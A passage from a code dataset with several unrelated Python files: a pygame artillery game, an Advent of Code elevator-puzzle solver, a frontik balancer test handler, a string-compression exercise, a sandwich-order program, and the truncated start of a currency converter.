WIDTH-50\nRED_POSY = HEIGHT-15\nPLAYER_HEIGHT = 80\nPLAYER_WIDTH = 70\nBOX_START_POS_BLUE = BLUE_POSX+BOX_LENGTH+20\nBOX_START_POS_RED = RED_POSX-BOX_LENGTH-20\nVEL_PENELTY = 1.1\nARROW_LENGTH = 120\nARROW_WIDTH = 20\nHP_WIDTH = 4\nPOWER_HEIGHT = 2\n\nHP_FONT = pygame.font.SysFont('comicsans', 12)\nPOWER_FONT = pygame.font.SysFont('comicsans', 8)\nWIND_FONT = pygame.font.SysFont('comicsans', 30)\nWIN_FONT = pygame.font.SysFont('comicsans', 80)\n\n# https://www.freepik.com/vectors/alien-planet Alien planet vector created by upklyak\nBACKGROUND = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'BG.jpg')), (WIDTH, HEIGHT))\nFLOOR = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'platform2.png')), (WIDTH, 25))\n\n'''The arrow only works between 1 to 179 degrees'''\nARROW = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Arrow.png')), (ARROW_LENGTH, ARROW_WIDTH))\n\n# All animations are from Walfie https://walfiegif.wordpress.com\nGURA1 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Gura_1.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA2 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Gura_2.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA3 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Gura_3.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA4 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Gura_4.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA5 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Gura_5.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA6 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Gura_6.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA7 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Gura_7.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\n\nGURA = [GURA1, GURA2, GURA3, GURA4, GURA5, GURA6, GURA7]\n\nCALLIOPE1 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Calliope_1.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLIOPE2 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Calliope_2.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLIOPE3 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Calliope_3.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLIOPE4 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Calliope_4.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLIOPE5 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Calliope_5.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLIOPE6 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'Calliope_6.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\n\nCALLIOPE = [CALLIOPE1, CALLIOPE2, CALLIOPE3, CALLIOPE4, CALLIOPE5, CALLIOPE6]\n\nGURA_SPIN1 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin1.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN2 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin2.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN3 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin3.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN4 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin4.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN5 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin5.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN6 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin6.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN7 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin7.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN8 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin8.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN9 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin9.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN10 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin10.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN11 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin11.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nGURA_SPIN12 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'spin12.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\n\nGURA_SPIN = [GURA_SPIN1, GURA_SPIN2, GURA_SPIN3,\n GURA_SPIN4, GURA_SPIN5, GURA_SPIN6, GURA_SPIN7, GURA_SPIN8, GURA_SPIN9, GURA_SPIN10, GURA_SPIN11, GURA_SPIN12]\n\nCALLI_DYING1 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying1.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING2 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying2.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING3 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying3.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING4 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying4.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING5 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying5.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING6 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying6.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING7 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying7.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING8 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying8.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING9 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying9.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING10 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying10.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING11 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying11.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING12 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying12.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING13 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying13.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING14 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying14.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING15 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying15.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING16 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying16.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING17 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying17.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING18 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying18.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING19 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying19.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING20 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying20.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING21 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying21.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING22 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying22.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\nCALLI_DYING23 = pygame.transform.scale(pygame.image.load(\n os.path.join('python', 'Assets', 'calldying23.png')), (PLAYER_WIDTH, PLAYER_HEIGHT))\n\nCALLI_DYING = [CALLI_DYING1, CALLI_DYING2, CALLI_DYING3, CALLI_DYING4,\n CALLI_DYING5, CALLI_DYING6, CALLI_DYING7, CALLI_DYING8,\n CALLI_DYING9, CALLI_DYING10, CALLI_DYING11, CALLI_DYING12,\n CALLI_DYING13, CALLI_DYING14, CALLI_DYING15, CALLI_DYING16,\n CALLI_DYING17, CALLI_DYING18, CALLI_DYING19, CALLI_DYING20,\n CALLI_DYING21, CALLI_DYING22, CALLI_DYING23]\n\n\nclass Box(object):\n def __init__(self, x, y, length, color):\n self.x = x\n self.y = y\n self.length = length\n self.color = color\n\n def box(self):\n return pygame.Rect(self.x, self.y, self.length, self.length)\n\n def draw(self, WIN):\n pygame.draw.rect(WIN, self.color, self.box())\n\n def box_path(nowx, starty, velx, vely, time_relative, time_absolute, wind_speed):\n\n velx += wind_speed\n distX = velx * time_relative\n distY = (vely * time_absolute) + ((-GRAV * (time_absolute**2))/2)\n\n newX = round(nowx + distX)\n newY = round(starty - distY)\n\n return (newX, newY)\n\n def touch_ground(self):\n if self.y > HEIGHT - self.length - 1:\n return True\n\n def collide_gura(self):\n if (BLUE_POSX - PLAYER_WIDTH - PLAYER_WIDTH//2 < self.x < BLUE_POSX + PLAYER_WIDTH - PLAYER_WIDTH//2\n and self.y + BOX_LENGTH > HEIGHT - PLAYER_HEIGHT):\n return True\n\n def collide_calli(self):\n if (RED_POSX - PLAYER_WIDTH - PLAYER_WIDTH//2 < self.x < RED_POSX + PLAYER_WIDTH - PLAYER_WIDTH//2\n and self.y + BOX_LENGTH > HEIGHT - PLAYER_HEIGHT):\n return True\n\n\ndef draw_window(redBox, shoot, framenum, angle, player, wind_spd, blue_hp, red_hp, power):\n WIN.blit(BACKGROUND, (0, 0))\n extra = 0\n if shoot:\n redBox.draw(WIN)\n if not shoot:\n # pygame.draw.line(WIN, BLACK, line[0], line[1])\n arrow = pygame.transform.rotate(ARROW, round((angle*180)/math.pi))\n if angle >= math.pi/2:\n extra = math.cos(angle)*ARROW_LENGTH\n if player == 'BLUE':\n WIN.blit(arrow, (BOX_START_POS_BLUE-(math.sin(angle)*10)+extra, HEIGHT -\n BOX_LENGTH-(math.sin(angle)*ARROW_LENGTH)-40))\n else:\n WIN.blit(arrow, (BOX_START_POS_RED-(math.sin(angle)*10)+extra, HEIGHT -\n BOX_LENGTH-(math.sin(angle)*ARROW_LENGTH)-40))\n pygame.draw.rect(WIN, BLACK, WALL)\n if blue_hp > 0:\n WIN.blit(GURA[framenum//4 % len(GURA)],\n (BLUE_POSX, BLUE_POSY-PLAYER_HEIGHT))\n else:\n WIN.blit(GURA_SPIN[framenum//4 % len(GURA_SPIN)],\n (BLUE_POSX, BLUE_POSY-PLAYER_HEIGHT))\n win_text = WIN_FONT.render(\"RED WINS\", 1, RED)\n WIN.blit(win_text, (WIDTH//2-win_text.get_width()//2, 100))\n if red_hp > 0:\n WIN.blit(CALLIOPE[framenum//4 % len(CALLIOPE)],\n (RED_POSX-PLAYER_WIDTH, RED_POSY-PLAYER_HEIGHT))\n else:\n WIN.blit(CALLI_DYING[framenum//3 % len(CALLI_DYING)],\n (RED_POSX-PLAYER_WIDTH, RED_POSY-PLAYER_HEIGHT))\n win_text = WIN_FONT.render(\"BLUE WINS\", 1, BLUE)\n WIN.blit(win_text, (WIDTH//2-win_text.get_width()//2, 100))\n\n WIN.blit(FLOOR, (0, HEIGHT-15))\n\n pygame.draw.rect(WIN, WHITE, WHITERECT)\n wind_spd_text = HP_FONT.render(\"Wind Speed\", 1, BLACK)\n WIN.blit(wind_spd_text, (WIDTH//2-wind_spd_text.get_width()//2, 3))\n\n if not shoot:\n wind_spd_text2 = HP_FONT.render(str(wind_spd), 1, BLACK)\n else:\n wind_spd_text2 = HP_FONT.render(\"-\", 1, BLACK)\n\n WIN.blit(wind_spd_text2, (WIDTH//2-wind_spd_text2.get_width()//2, 18))\n blue_hp_text = HP_FONT.render(\"BLUE | HP: \" + str(blue_hp), 1, BLACK)\n WIN.blit(blue_hp_text, (3, 3))\n red_hp_text = HP_FONT.render(\"RED | HP: \" + str(red_hp), 1, BLACK)\n WIN.blit(red_hp_text, (WIDTH-red_hp_text.get_width()-3, 3))\n\n for i in range(1, blue_hp):\n blue_hpbar = pygame.Rect(3+(i*HP_WIDTH), 20, HP_WIDTH, 10)\n pygame.draw.rect(WIN, (round(255-2.5*i), round(2.5*i), 0), blue_hpbar)\n\n for i in range(1, red_hp):\n red_hpbar = pygame.Rect(WIDTH-(3+(i*HP_WIDTH)), 20, HP_WIDTH, 10)\n pygame.draw.rect(WIN, (round(255-2.5*i), round(2.5*i), 0), red_hpbar)\n\n pygame.draw.rect(WIN, WHITE, POWERRECT1)\n pygame.draw.rect(WIN, WHITE, POWERRECT2)\n for i in range(1, round(power)):\n if player == 'BLUE':\n red_pw_text = POWER_FONT.render(\"-\", 1, BLACK)\n blue_pw_text = POWER_FONT.render(str(power), 1, BLACK)\n power_bar = pygame.Rect(\n 5, HEIGHT-(5+(i*POWER_HEIGHT)), 10, POWER_HEIGHT)\n else:\n blue_pw_text = POWER_FONT.render(\"-\", 1, BLACK)\n red_pw_text = POWER_FONT.render(str(power), 1, BLACK)\n power_bar = pygame.Rect(\n WIDTH-15, HEIGHT-(5+(i*POWER_HEIGHT)), 10, POWER_HEIGHT)\n pygame.draw.rect(\n WIN, (round(255-2.5*i), round(2.5*i), 0), power_bar)\n WIN.blit(blue_pw_text, (3, HEIGHT-225))\n WIN.blit(red_pw_text, (WIDTH-red_pw_text.get_width()-3, HEIGHT-225))\n pygame.display.update()\n\n\ndef find_angle(line, pos):\n sX = line[0][0]\n sY = line[0][1]\n try:\n angle = math.atan((sY-pos[1])/(sX-pos[0]))\n except:\n angle = math.pi/2\n\n if pos[1] < sY and pos[0] > sX:\n angle = abs(angle)\n elif pos[1] < sY and pos[0] < sX:\n angle = math.pi - abs(angle)\n elif pos[1] > sY and pos[0] < sX:\n angle = math.pi + abs(angle)\n elif pos[1] > sY and pos[0] > sX:\n angle = (math.pi*2) - abs(angle)\n\n return angle\n\n\ndef block_collide_wall(po):\n if (WIDTH//2 - WALL_WIDTH - WALL_WIDTH//2 < po[0] < WIDTH//2 - WALL_WIDTH//2 + WALL_WIDTH\n and po[1] + BOX_LENGTH > HEIGHT - WALL_HEIGHT):\n return True\n '''Block touch the border'''\n if (po[0] < 0 or po[0] > WIDTH-BOX_LENGTH):\n return True\n return False\n\n\ndef change_player(color, redBox):\n redBox.y = HEIGHT - BOX_LENGTH - 30\n if color == 'RED':\n redBox.x = BOX_START_POS_BLUE\n return 'BLUE'\n else:\n redBox.x = BOX_START_POS_RED\n return 'RED'\n\n\ndef main():\n clock = pygame.time.Clock()\n redBox = Box(BOX_START_POS_BLUE, HEIGHT-BOX_LENGTH-30, BOX_LENGTH, WHITE)\n wind_speed = random.randint(-20, 20)\n framenum = 0\n x = 0\n y = 0\n time = 0\n velx = 0\n vely = 0\n power = 0\n shoot = False\n run = True\n player = 'BLUE'\n blue_hp = 100\n red_hp = 100\n end_frame = -1\n while run:\n clock.tick(FPS)\n if (blue_hp <= 0 or red_hp <= 0) and end_frame == -1:\n end_frame = framenum + 300\n if end_frame != -1 and framenum >= end_frame:\n run = False\n pos = pygame.mouse.get_pos()\n if player == 'BLUE':\n line = [(BOX_START_POS_BLUE, HEIGHT-BOX_LENGTH-30), pos]\n else:\n line = [(BOX_START_POS_RED, HEIGHT-BOX_LENGTH-30), pos]\n\n if shoot:\n # keys_pressed = pygame.key.get_pressed()\n # if keys_pressed[pygame.K_SPACE]:\n # if not skill_used:\n # print(\"skill used\")\n # velx = 0\n # wind_speed = 0\n # skill_used = True\n if redBox.y < HEIGHT - redBox.length:\n time += BOX_FPS\n if block_collide_wall(Box.box_path(redBox.x, y, velx, vely,\n BOX_FPS, time, wind_speed)):\n if (abs(velx) < 300):\n velx = velx*VEL_PENELTY\n velx = -velx\n wind_speed = 0\n\n po = Box.box_path(redBox.x, y, velx, vely,\n BOX_FPS, time, wind_speed)\n redBox.x = po[0]\n redBox.y = po[1]\n if redBox.touch_ground():\n shoot = False\n wind_speed = random.randint(-20, 20)\n player = change_player(player, redBox)\n elif (framenum > st_frame + 30):\n if redBox.collide_gura():\n shoot = False\n blue_hp -= 30\n player = change_player(player, redBox)\n elif redBox.collide_calli():\n shoot = False\n red_hp -= 30\n player = change_player(player, redBox)\n\n if not shoot:\n angle = find_angle(line, pos)\n\n draw_window(redBox, shoot, framenum, angle,\n player, wind_speed, blue_hp, red_hp, power)\n framenum = framenum+1\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n if event.type == pygame.MOUSEBUTTONDOWN:\n if not shoot:\n shoot = True\n skill_used = False\n st_frame = framenum\n y = redBox.y\n time = 0\n power = 300/POWER_FACTOR\n angle = find_angle(line, pos)\n velx = math.cos(angle) * power\n vely = math.sin(angle) * power\n\n pygame.quit()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ParnKrub/Practicum65","sub_path":"python/Cat_VS_Dog.py","file_name":"Cat_VS_Dog.py","file_ext":"py","file_size_in_byte":18068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"36253606519","text":"import re\nimport queue\n\nBOTTOM_FLOOR = 1\nTOP_FLOOR = 4\n\ndef readInput(input_lines):\n\tfloor = 1\n\tobj_descs = {}\n\tobj_floors = []\n\tfor line in input_lines:\n\t\tfor str in re.findall(\"([a-z]+)-compatible microchip\", line):\n\t\t\tif str not in obj_descs:\n\t\t\t\tobj_descs[str] = len(obj_floors)\n\t\t\t\tobj_floors.append(floor)\n\t\t\t\tobj_floors.append(None)\n\t\t\telse:\n\t\t\t\tindex = obj_descs[str]\n\t\t\t\tobj_floors[index] = floor\n\t\tfor str in re.findall(\"([a-z]+) generator\", line):\n\t\t\tif str not in obj_descs:\n\t\t\t\tobj_descs[str] = len(obj_floors)\n\t\t\t\tobj_floors.append(None)\n\t\t\t\tobj_floors.append(floor)\n\t\t\telse:\n\t\t\t\tindex = obj_descs[str]\n\t\t\t\tobj_floors[index + 1] = floor\n\t\tfloor += 1\n\n\tif len(obj_floors) % 2 != 0:\n\t\traise RuntimeError(\"Should have an even number of floors\")\n\tfor floor in obj_floors:\n\t\tif floor is None:\n\t\t\traise ValueError(\"Should have no entries with None\")\n\n\treturn obj_descs, obj_floors\n\ndef isFinished(obj_floors):\n\treturn all([floor == TOP_FLOOR for floor in obj_floors])\n\ndef isSafe(obj_floors):\n\tnum_types = len(obj_floors) // 2\n\tfor type_index in range(num_types):\n\t\tchip_floor = obj_floors[type_index * 2]\n\t\tgen_floor = obj_floors[type_index * 2 + 1]\n\t\tif gen_floor == chip_floor:\n\t\t\tcontinue\n\t\tif any((obj_floors[t2_index * 2 + 1] == chip_floor for t2_index in range(num_types) if t2_index != type_index)):\n\t\t\treturn False\n\treturn True\n\ndef getObjectMovePossibilities(object_indices):\n\tnum = len(object_indices)\n\tif num >= 1:\n\t\tfor index in range(num):\n\t\t\tyield (object_indices[index], None)\n\tif num >= 2:\n\t\tfor index1 in range(num):\n\t\t\tfor index2 in range(index1 + 1, num):\n\t\t\t\tyield (object_indices[index1], object_indices[index2])\n\ndef generateMove(obj_floors, elevator_floor, num_steps, obj_index1, obj_index2, floor_offset):\n\tobj_floors = list(obj_floors)\n\tif obj_index1 is not None:\n\t\tobj_floors[obj_index1] += floor_offset\n\tif obj_index2 is not None:\n\t\tobj_floors[obj_index2] += floor_offset\n\treturn (obj_floors, elevator_floor + floor_offset, num_steps + 1)\n\ndef getPossibleMoves(obj_floors, elevator_floor, num_steps):\n\tindices_on_floor = [index for index in range(len(obj_floors)) if obj_floors[index] == elevator_floor]\n\tfor obj_index1, obj_index2 in getObjectMovePossibilities(indices_on_floor):\n\t\tif elevator_floor > 1:\n\t\t\t#print(\"Can move\", entities[obj_index1] if obj_index1 is not None else None, entities[obj_index2] if obj_index2 is not None else None, \"down\")\n\t\t\t# Can move down\n\t\t\tyield generateMove(obj_floors, elevator_floor, num_steps, obj_index1, obj_index2, -1)\n\t\tif elevator_floor < 4:\n\t\t\t#print(\"Can move\", entities[obj_index1] if obj_index1 is not None else None, entities[obj_index2] if obj_index2 is not None else None, \"up\")\n\t\t\t# Can move up\n\t\t\tyield generateMove(obj_floors, elevator_floor, num_steps, obj_index1, obj_index2, +1)\n\ndef getObjFloorsHash(obj_floors, elevator_floor):\n\treturn elevator_floor - 1 + sum([(obj_floors[index] - 1) << ((index + 1) * 2) for index in range(len(obj_floors))])\n\ndef moveToFourthFloor(obj_descs, obj_floors):\n\televator_floor = 1\n\tnum_steps = 0\n\tpending = queue.Queue()\n\tpending.put((obj_floors, elevator_floor, num_steps))\n\tvisited_states = set()\n\twhile not pending.empty():\n\t\tobj_floors, elevator_floor, num_steps = pending.get()\n\t\t#state = getStateString(obj_descs, obj_floors, elevator_floor)\n\t\t#state_hash = hash(state)\n\t\tstate_hash = getObjFloorsHash(obj_floors, elevator_floor)\n\t\tif state_hash in visited_states or not isSafe(obj_floors):\n\t\t\tcontinue\n\t\tif len(visited_states) == 0:\n\t\t\tprint(getStateString(obj_descs, obj_floors, elevator_floor))\n\t\telif len(visited_states) % 100 == 0:\n\t\t\tprint(str(len(visited_states)) + \"...\")\n\t\tvisited_states.add(state_hash)\n\t\t#print(state)\n\t\tif isFinished(obj_floors):\n\t\t\tprint(getStateString(obj_descs, obj_floors, elevator_floor))\n\t\t\treturn num_steps\n\t\t[pending.put(move) for move in getPossibleMoves(obj_floors, elevator_floor, num_steps)]\n\traise RuntimeError(\"No acceptable sequence\")\n\ndef getDesc(obj_descs, index):\n\tfor key in obj_descs:\n\t\tif obj_descs[key] // 2 == index // 2:\n\t\t\tdesc = key[:2]\n\t\t\treturn desc.upper() if index % 2 != 0 else desc\n\traise ValueError(\"No description\")\n\ndef getStateString(obj_descs, obj_floors, elevator_floor):\n\tstate = \"\"\n\tfor floor in reversed(range(BOTTOM_FLOOR, TOP_FLOOR + 1)):\n\t\tstate += (\"*\" if elevator_floor == floor else \"F\") + str(floor) + \": \"\n\t\tstate += \" \".join([getDesc(obj_descs, index) for index in range(len(obj_floors)) if obj_floors[index] == floor])\n\t\tstate += \"\\n\"\n\treturn state + \"\\n\"\n\ntest_input_lines = \"\"\"The first floor contains a hydrogen-compatible microchip and a lithium-compatible microchip.\nThe second floor contains a hydrogen generator.\nThe third floor contains a lithium generator.\nThe fourth floor contains nothing relevant.\"\"\".split('\\n')\n\ninput_lines_part1 = \"\"\"The first floor contains a polonium generator, a thulium generator, a thulium-compatible microchip, a promethium generator, a ruthenium generator, a ruthenium-compatible microchip, a cobalt generator, and a cobalt-compatible microchip.\nThe second floor contains a polonium-compatible microchip and a promethium-compatible microchip.\nThe third floor contains nothing relevant.\nThe fourth floor contains nothing relevant.\"\"\".split('\\n')\n\ninput_lines_part2 = \"\"\"The first floor contains a polonium generator, a thulium generator, a thulium-compatible microchip, a promethium generator, a ruthenium generator, a ruthenium-compatible microchip, a cobalt generator, a cobalt-compatible microchip, an elerium generator, an elerium-compatible microchip, a dilithium generator, and a dilithium-compatible microchip.\nThe second floor contains a polonium-compatible microchip and a promethium-compatible microchip.\nThe third floor contains nothing relevant.\nThe fourth floor contains nothing relevant.\"\"\".split('\\n')\n\nobj_descs, obj_floors = readInput(input_lines_part2)\nprint(moveToFourthFloor(obj_descs, obj_floors))\n","repo_name":"chrisbduck/aoc","sub_path":"2016/11/day11_microchips.py","file_name":"day11_microchips.py","file_ext":"py","file_size_in_byte":5867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"518333712","text":"from http_client.balancing import Upstream\nfrom http_client.request_response import NoAvailableServerException\n\nfrom frontik import handler, media_types\nfrom tests.projects.balancer_app.pages import check_all_requests_done\n\n\nclass Page(handler.PageHandler):\n async def get_page(self):\n self.application.upstream_manager.update_upstream(Upstream('no_available_backend', {}, []))\n\n request = self.post_url('no_available_backend', self.request.path)\n check_all_requests_done(self, 'no_available_backend')\n\n result = await request\n\n if result.exc is not None and isinstance(result.exc, NoAvailableServerException):\n self.text = 'no backend available'\n return\n\n self.text = result.text\n\n check_all_requests_done(self, 'no_available_backend')\n\n async def post_page(self):\n self.add_header('Content-Type', media_types.TEXT_PLAIN)\n self.text = 'result'\n","repo_name":"hhru/frontik","sub_path":"tests/projects/balancer_app/pages/no_available_backend_async.py","file_name":"no_available_backend_async.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"20"} +{"seq_id":"18735425367","text":"def zip(s, size):\n res = \"\"\n i = 0\n while i < len(s):\n temp = s[i:i+size]\n cnt = 1\n for j in range(i+size, len(s), size):\n if temp == s[j:j+size]:\n cnt += 1\n else:\n break\n if cnt == 1:\n res += temp\n i += (size)\n else:\n res += str(cnt) + temp\n i += size*cnt\n return len(res)\n\n\n\nans = 10000000\ns = input()\nfor i in range(1, len(s)+1):\n ans = min(ans, zip(s,i) )\n\nprint(ans)\n","repo_name":"daily-coding-ps/ps","sub_path":"2022-01-5주차/구현Q9_문자열압축_신경덕.py","file_name":"구현Q9_문자열압축_신경덕.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"38794989393","text":"\"\"\"Sophanda Long.\nThis code will ask users for\ntheir sandwich preferences.\"\"\"\n\nimport pyinputplus as pyip\nprint('Sandwich Maker Program.')\n\n# Organization\ndef main():\n try:\n food_price, order, others, other_food, sandwiches, total_price = inputs()\n outputs(food_price, order, total_price, sandwiches)\n restart = input('Need more sandwiches? Enter y or n: ')\n if restart == 'y':\n print('OK')\n main()\n else:\n print('Thanks for using the program.')\n except Exception as err:\n print(err)\n\n\n# Asking user what they want in their sandwich\ndef inputs():\n food_price = {'white': 2.00, 'wheat': 2.00, 'sourdough': 2.00,\n 'chicken': 3.00, 'turkey': 2.50, 'ham': 1.50, 'tofu': 3.00,\n 'cheddar': 1.00, 'swiss': 1.00, 'mozzarella': 1.00,\n 'mayo': 0.25, 'mustard': 0.25, 'lettuce': 0.50, 'tomatoes': 0.50\n }\n order = []\n others = ['mayo', 'mustard', 'lettuce', 'tomatoes']\n total_price = 0.00\n\n bread = pyip.inputMenu(['white', 'wheat', 'sourdough'], 'What type of bread would you like?\\n', lettered=True)\n order.append(bread)\n\n protein = pyip.inputMenu(['chicken', 'turkey', 'ham', 'tofu'],'What type of protein would you like?\\n' , lettered=True)\n order.append(protein)\n\n cheese = pyip.inputYesNo('Do you want cheese (yes or no)? ')\n if cheese == 'yes':\n cheese_type = pyip.inputMenu(['cheddar', 'swiss', 'mozzarella'], 'What type of cheese would you like?\\n' , lettered=True)\n order.append(cheese_type)\n else:\n print('No cheese.')\n\n other_food = ''\n for index in others:\n other_food = pyip.inputYesNo('Would you like ' + index + ' (yes or no)?\\n')\n if other_food == 'yes':\n order.append(index)\n else:\n print('No', index)\n\n sandwiches = pyip.inputInt('How many sandwiches would you like? ', min=1)\n return food_price, order, others, other_food, sandwiches, total_price\n\n\n# Displaying the results and calculating total\ndef outputs(food_price, order, total_price, sandwiches):\n for food in order:\n if food in food_price:\n total_price += food_price.get(food)\n print(f'{food:<20}' + '$' + str('{:0.2f}'.format(food_price.get(food))))\n\n sandwich_total = total_price * sandwiches\n print('Number of sandwiches: ' + str(sandwiches))\n print('\\n')\n print('Sandwich total: $' + str('{:0.2f}'.format(sandwich_total)))\n\nmain()\n","repo_name":"slong96/sandwich_maker.py","sub_path":"sandwich REVISED 2 (fixed total).py","file_name":"sandwich REVISED 2 (fixed total).py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72705965169","text":"from forex_python.converter import CurrencyRates\nimport tkinter as tk\nfrom tkinter import ttk\nfrom forex_python.converter import CurrencyCodes\n\n\ndef trace_entry(var,idt,mode):\n test_string_trace = 0.0\n try:\n test_string_trace = isinstance(int(entry_trace.get()), int)\n except:\n 